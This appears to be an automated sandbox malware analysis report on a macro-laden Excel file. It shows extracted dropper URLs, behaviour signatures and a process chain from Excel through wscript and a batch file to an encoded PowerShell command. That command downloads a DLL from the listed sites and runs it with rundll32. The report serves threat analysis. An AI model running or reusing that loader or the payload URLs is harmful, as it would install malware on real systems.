Analysis
- max time kernel
143s - max time network
148s - platform
windows7_x64 - resource
win7-en-20211208 - submitted
04/02/2022, 16:43
General
- Target tmpds5okjoy.xls
- Size 151KB
- Sample220204-t79aescee6
- SHA256 29ea49a9a0bb3bf5e8834e475f65bb1f6fba2c010caf34d52d032fa4616bf459
Malware Config
Extracted
-
ps1
-
exe.dropper
https://store.uxdsummit.com/wp-admin/VfgBSQa7Z/
-
exe.dropper
https://glowrentals.com/wp-admin/f1zeAKGTnS6I/
-
exe.dropper
http://candisee.bminteractivegroup.com/1g94ngo/2n7lJoPuPDEanPcX/
-
exe.dropper
http://bachilleratoporciclos.org/wp-content/zR/
-
exe.dropper
http://formula8020.com/css/JCuR6OE404DgR/
-
exe.dropper
http://lucasandbarbiehodges.net/wp-content/nbKbVJ8E55V2I/
-
exe.dropper
https://www.monet.kiev.ua/css/KvkD194/
-
exe.dropper
http://royalsnackmyanmar.com/wp-includes/Z4E3Vtp8k4Z/
-
exe.dropper
https://theclubgym.in/wp-includes/jnTMKV3pHa9a/
-
exe.dropper
https://ssf2.edelta.in/Themes/7hGzIAH5BYf9fFLK/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Office loads VBA resources, possible macro or embedded object present
- Enumerates system info in registry 2 TTPs 1 IoCs
- Modifies Internet Explorer settings 1 TTPs 31 IoCs
- Modifies registry class 64 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 1 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 5 IoCs
- Suspicious use of WriteProcessMemory 23 IoCs
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\tmpds5okjoy.xls1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\wscript.exewscript c:\programdata\tghklsd.vbs2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\programdata\jledshf.bat" "3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -enc JABqAGUAbwBsAGkAcwBlADMAUgBoAGcARABaAFMANABjAGQAZgBnAD0AIgBoAHQAdABwAHMAOgAvAC8AcwB0AG8AcgBlAC4AdQB4AGQAcwB1AG0AbQBpAHQALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAFYAZgBnAEIAUwBRAGEANwBaAC8ALABoAHQAdABwAHMAOgAvAC8AZwBsAG8AdwByAGUAbgB0AGEAbABzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBmADEAegBlAEEASwBHAFQAbgBTADYASQAvACwAaAB0AHQAcAA6AC8ALwBjAGEAbgBkAGkAcwBlAGUALgBiAG0AaQBuAHQAZQByAGEAYwB0AGkAdgBlAGcAcgBvAHUAcAAuAGMAbwBtAC8AMQBnADkANABuAGcAbwAvADIAbgA3AGwASgBvAFAAdQBQAEQARQBhAG4AUABjAFgALwAsAGgAdAB0AHAAOgAvAC8AYgBhAGMAaABpAGwAbABlAHIAYQB0AG8AcABvAHIAYwBpAGMAbABvAHMALgBvAHIAZwAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB6AFIALwAsAGgAdAB0AHAAOgAvAC8AZgBvAHIAbQB1AGwAYQA4ADAAMgAwAC4AYwBvAG0ALwBjAHMAcwAvAEoAQwB1AFIANgBPAEUANAAwADQARABnAFIALwAsAGgAdAB0AHAAOgAvAC8AbAB1AGMAYQBzAGEAbgBkAGIAYQByAGIAaQBlAGgAbwBkAGcAZQBzAC4AbgBlAHQALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AbgBiAEsAYgBWAEoAOABFADUANQBWADIASQAvACwAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBvAG4AZQB0AC4AawBpAGUAdgAuAHUAYQAvAGMAcwBzAC8ASwB2AGsARAAxADkANAAvACwAaAB0AHQAcAA6AC8ALwByAG8AeQBhAGwAcwBuAGEAYwBrAG0AeQBhAG4AbQBhAHIALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAFoANABFADMAVgB0AHAAOABrADQAWgAvACwAaAB0AHQAcABzADoALwAvAHQAaABlAGMAbAB1AGIAZwB5AG0ALgBpAG4ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBqAG4AVABNAEsAVgAzAHAASABhADkAYQAvACwAaAB0AHQAcABzADoALwAvAHMAcwBmADIALgBlAGQAZQBsAHQAYQAuAGkAbgAvAFQAaABlAG0AZQBzAC8ANwBoAEcAegBJAEEASAA1AEIAWQBmADkAZgBGAEwASwAvACwAaAB0AHQAcABzADoALwAvAHMAdQBiAHMALgB2AGkAZABlAG8ALwBuAGUAdAByAGUAZwBpAG4AcwB0AGEAbABsAC8ANwBMAEsAaABwADQASgBqAEEAeQBRADAAbQBjAC8ALABoAHQAdABwADoALwAvAGgAbwBtAGUAZABlAGsAbwByAG4AYQB0AHUAcgBhAGwAYwByAGEAZgB0AC4AYwBvAG0ALwB5AG0AdQAvAGYARwBzAEYAVAA3AGoALwAsAGgAdAB0AHAAOgAvAC8AZwBvAHMAcABvAHIAdABoAGkAcwB0AG8AcgB5AGMAbAB1AGIALgBvAHIAZwAuAHUAawAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB2AE8AaQB4AG8ALwAsAGgAdAB0AHAAOgAvAC8AcwB0AGkAbQB1AGwAdQBzAGIAcgBhAG4AZAAuAGMAbwBtAC8ANQBxAEEAaABYADUAbgBDAC0AYwBvAG4AdABlAG4AdAAvADEALwAsAGgAdAB0AHAAcwA6AC8ALwByAGUAYQBkAHkAcABsAGEAbgBzAC4AaQBuAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAFUAdABpAFMANABJAFAAQgBZAFMASQBpAGEAUAB6AEMAQwBlAC8ALABoAHQAdABwADoALwAvAHAAZwBlAGcAcgBvAHUAcABzAC4AYwBvAG0ALwBpAHMAbQAuAHAAZwBlAGcAcgBvAHUAcABzAC4AYwBvAG0ALwBIAFQAdgA4AC8ALABoAHQAdABwADoALwAvAGEAcwBhAGEAbgB3AGUAYgAuAGMAbwBtAC8AUABIAFAATQBhAGkAbABlAHIALQBtAGEAcwB0AGUAcgAvADEATQBZAEcAcABIAHMAegB6AFIAZgBIAEEATgA0AC8AIgAuAHMAcABMAGkAVAAoACIALAAiACkAOwBmAE8AcgBlAGEAQwBoACgAJABqAGQAdABGAEoAZABYAGgAcgA2AHQAeAB5AGgAZAAgAGkAbgAgACQAagBlAG8AbABpAHMAZQAzAFIAaABnAEQAWgBTADQAYwBkAGYAZwApAHsAJAByAGgAeQBrAGEAagBkAGgAZgBzADcAaQBkAGYAZwBkAD0AIgBjADoAXABwAHIAbwBnAHIAYQBtAGQAYQB0AGEAXAB2AGIAawB3AGsALgBkAGwAbAAiADsAaQBOAHYATwBrAGUALQB3AEUAYgByAGUAUQB1AGUAcwBUACAALQB1AFIAaQAgACQAagBkAHQARgBKAGQAWABoAHIANgB0AHgAeQBoAGQAIAAtAG8AdQBUAGYAaQBMAGUAIAAkAHIAaAB5AGsAYQBqAGQAaABmAHMANwBpAGQAZgBnAGQAOwAgAGkAZgAoAHQAZQBzAHQALQBwAEEAdABIACAAJAByAGgAeQBrAGEAagBkAGgAZgBzADcAaQBkAGYAZwBkACkAewBpAGYAKAAoAGcAZQB0AC0AaQBUAGUAbQAgACQAcgBoAHkAawBhAGoAZABoAGYAcwA3AGkAZABmAGcAZAApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADQANQAwADAAMAApAHsAYgByAGUAYQBrADsAfQB9AH0A4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\rundll32.exe c:\programdata\vbkwk.dll,dfsgeresd3⤵
- Suspicious use of WriteProcessMemory
-
\??\c:\windows\syswow64\rundll32.exec:\windows\syswow64\rundll32.exe c:\programdata\vbkwk.dll,dfsgeresd4⤵
-
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/1080-81-0x00000000024E0000-0x000000000312A000-memory.dmp
memory/1080-80-0x00000000024E0000-0x000000000312A000-memory.dmp
memory/1080-79-0x00000000024E0000-0x000000000312A000-memory.dmp
memory/1748-68-0x0000000000510000-0x00000000005AF000-memory.dmp
memory/1748-72-0x0000000000510000-0x00000000005AF000-memory.dmp
memory/1748-61-0x0000000000510000-0x00000000005AF000-memory.dmp
memory/1748-63-0x0000000000510000-0x00000000005AF000-memory.dmp
memory/1748-64-0x0000000005EA0000-0x0000000005FB0000-memory.dmp
memory/1748-65-0x0000000000510000-0x00000000005AF000-memory.dmp
memory/1748-69-0x0000000000510000-0x00000000005AF000-memory.dmp
memory/1748-55-0x000000002FF91000-0x000000002FF94000-memory.dmp
memory/1748-67-0x0000000000510000-0x00000000005AF000-memory.dmp
memory/1748-66-0x0000000000510000-0x00000000005AF000-memory.dmp
memory/1748-70-0x0000000000510000-0x00000000005AF000-memory.dmp
memory/1748-62-0x0000000000510000-0x00000000005AF000-memory.dmp
memory/1748-71-0x0000000000510000-0x00000000005AF000-memory.dmp
memory/1748-73-0x0000000000510000-0x00000000005AF000-memory.dmp
memory/1748-74-0x0000000000510000-0x00000000005AF000-memory.dmp
memory/1748-60-0x0000000000510000-0x00000000005AF000-memory.dmp
memory/1748-59-0x0000000000510000-0x00000000005AF000-memory.dmp
memory/1748-58-0x0000000075801000-0x0000000075803000-memory.dmp
memory/1748-57-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/1748-56-0x0000000071B71000-0x0000000071B73000-memory.dmp
memory/1748-82-0x000000005FFF0000-0x0000000060000000-memory.dmp